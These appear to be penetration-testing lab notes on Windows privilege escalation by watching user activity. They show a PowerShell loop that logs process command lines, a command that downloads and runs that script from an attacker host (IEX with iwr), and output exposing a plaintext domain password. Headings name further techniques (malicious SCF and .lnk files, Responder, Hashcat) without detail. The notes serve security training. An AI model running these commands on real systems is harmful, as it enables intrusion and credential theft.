Interacting with Users
Process Command Lines
Monitoring for Process Command Lines
# create script on attack then transfer to victim
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}Running Monitor Script on Target Host
PS C:\htb> IEX (iwr 'http://10.10.15.150/procmon.ps1')
InputObject SideIndicator
----------- -------------
@{CommandLine=C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}} =>
@{CommandLine=“C:\Windows\system32\cmd.exe” } =>
@{CommandLine=\??\C:\Windows\system32\conhost.exe 0x4} =>
**@{CommandLine=net use T: \\sql02\backups /user:inlanefreight\sqlsvc My4dm1nP@s5w0Rd} =>**
@{CommandLine=“C:\Windows\system32\backgroundTaskHost.exe” -ServerName:CortanaUI.AppXy7vb4pc2... <=Vulnerable Services
SCF on a File Share
Malicious SCF File
Starting Responder
Cracking NTLMv2 Hash with Hashcat
Capturing Hashes with a Malicious .lnk File
Last updated